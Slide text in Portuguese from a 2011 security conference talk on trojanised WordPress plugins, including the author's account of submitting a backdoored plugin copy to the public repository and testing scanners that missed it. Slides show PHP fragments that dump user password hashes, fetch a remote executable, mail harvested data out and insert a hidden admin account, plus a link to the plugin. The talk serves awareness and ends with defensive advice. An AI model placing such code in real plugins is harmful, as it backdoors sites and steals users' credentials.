![Page 1: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/1.jpg)
Agenda
O que são CMS?
Motivação
Prova de conceito. Happy hour...
Impactos
Conclusões
![Page 2: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/2.jpg)
O que é um CMS (Content Management System)?São sistemas criados para gerenciar e administrar o conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomladentre outros.
PluginsAgregam novas funcionalidades aos CMS tais como enquetes, galerias de fotos, integração com redes sociais, etc.
TemasPersonalizam a aparência dos sites criados através dos CMS. Permitem algumas customizações.
![Page 3: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/3.jpg)
Considerações
O que não esperar desta apresentação.
1 – Discussões sobre o que é exploit ou não.Segundo o EC-Council exploit é: A defined way to breach the security of an IT system through vulnerability.
2 – Demonstrar vulnerabilidades apenas técnicas. SI vai muito mais além disso.
3 – Que eu seja dono da verdade
![Page 4: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/4.jpg)
Motivação
![Page 5: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/5.jpg)
Motivação – e o Kico???
OK mas e o Kico??
![Page 6: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/6.jpg)
Motivação
![Page 7: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/7.jpg)
Motivação
![Page 8: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/8.jpg)
Prova de conceito. Security as a happy hour...
Dúvidas para a prova de conceito
1 – Os plugins e temas submetidos são realmente analisados?
2 – Os plugins de “segurança” são eficientes?
3 – O que é possível fazer com um plugin.
![Page 9: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/9.jpg)
Prova de conceito. Security as a happy hour...
1 – Os plugins e temas submetidos são realmente analisados?
Criado uma versão pt-br do plug-in no-copy de autoria de Mohanjith http://mohanjith.com/wordpress com o código malicioso já injetado.
Submetido ao repositório do Wordpress.com juntamente com os outros milhares de plug-ins disponíveis no site.(Em dez/2010 – 12.533 plugins com 141.819.480 downloads.
Qual foi o resultado???
![Page 10: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/10.jpg)
Prova de conceito. Security as a happy hour...
1 – Os plugins e temas submetidos são realmente analisados?
![Page 11: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/11.jpg)
Prova de conceito. Security as a happy hour...
2 – Os plugins de “segurança” são eficientes?Alguns plugins testados:
Exploit-Scanner-1.0.5 (Identificou o encode_base64)Wp-security-scan 3.0.6 (Nada, apenas permissões inadequadas)Mjp-security-plugin-1.0 (Nada, apenas permissões inadequadas e usuários default)
Qual foi o resultado???
Nenhum detectou o código malicioso.
![Page 12: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/12.jpg)
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin. Funções utilizadas:
Querys na base de dados.$wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb->users"));
Identificar URL onde o blog foi instalado. get_bloginfo('wpurl');
Redirecionar site para outro endereço.wp_remote_fopen('http://www.xyz.com/index.html');
![Page 13: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/13.jpg)
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Identificar o diretório de upload do blog - wp_upload_dir(); PATH blog – $upload_dir['basedir'];URL dos uploads - $upload_dir['baseurl'];Criar pasta - wp_mkdir_p($target);
Baixar arquivo remoto e efetuar o upload wp_upload_bits(‘xy.exe', null, file_get_contents($name));$upload['url'];
![Page 14: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/14.jpg)
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Coletando informações da BD
$results=$wpdb->get_results("SELECT * FROM $wpdb->users")
....$mensagem .= "ID: ". $result->ID ."\n";$mensagem .= "user_login: ". $result->user_login ."\n";$mensagem .= "user_pass: ". $result->user_pass ."\n";
....
![Page 15: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/15.jpg)
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Garantindo o connection Back :D....$mensagem = "URL Site: ". $url ."\n";$mensagem .= "Diretório criado em: ". $target_dir."\n";$mensagem .= "Arquivo criado em: ". $target_file."\n";....$headers .= "From: PoC <poc@localhost>\n"; $headers .= "Return-Path: PoC <poc@localhost>\n"; $envio = mail("poc@localhost", "PoC", $mensagem, $headers);....
![Page 16: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/16.jpg)
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Garantindo o acesso Administrativo$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES(1999, 'poc', '\$P\$B0nhkbZo\/ImMpG0I17f.jyAp5S9c3V.', 'poc', '[email protected]', '', '2010-07-01 22:43:10', '', 0, 'poc')");
![Page 17: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/17.jpg)
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Live demo – Bonus Track!!!
![Page 18: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/18.jpg)
TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES
APRESENTADOS TEM COMO OBJETIVO ALERTAR A
PLATÉIA.
Prova de conceito. Security as a happy hour...
![Page 19: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/19.jpg)
Entenderam.....
Prova de conceito. Security as a happy hour...
![Page 20: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/20.jpg)
Seria possível pegar uma
Prova de conceito. Security as a happy hour...
![Page 21: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/21.jpg)
Conclusões
A principal falha é de processo por conta do wordpress e não nos plugins.
A função wpdb permite uma infinidade de combinações de querys SQL como por exemplo:
$wpdb->query("DELETE FROM $wpdb->posts WHERE post_id <> ‘0'");
Como não existe uma garantia da integridade dos plugins e templates, revise os códigos antes de instalar.
Os plugins de segurança ajudam, mas não eliminam o problema.
![Page 22: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/22.jpg)
Conclusões
Recomendações como mudar os nomes das tabelas ou o diretório padrão de upload não eliminam o problema.
Nas pastas de upload verifique as permissões aplicadas em arquivos e pastas.
Manter o wordpress, plugins e temas atualizados é indispensável.
Revise os códigos antes de instalar algo.
Teste em ambiente independente.
![Page 23: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/23.jpg)
Próximos passos
Entender o mecanismo de criptografia que aparenta ter falhas na função avalanche e salt.
![Page 24: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/24.jpg)
Prova de conceito. Security as a happy hour...
Bonus Bonus Track!!!
Plugin disponível em: http://migre.me/5B4S8
Usem por sua conta e risco.Sem suporte.
![Page 25: Vale Security Conference - 2011 - 6 - Thiago Bordini](https://reader033.vdocuments.com.br/reader033/viewer/2022061206/5483e426b479590f0d8b49f1/html5/thumbnails/25.jpg)
Dúvidas?
Thiago Bordinithiago (at) bordini (dot) netwww.staysafepodcast.com.br
Security as a happy hour!!!
Agradecimentos:Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura
Referência:http://codex.wordpress.org/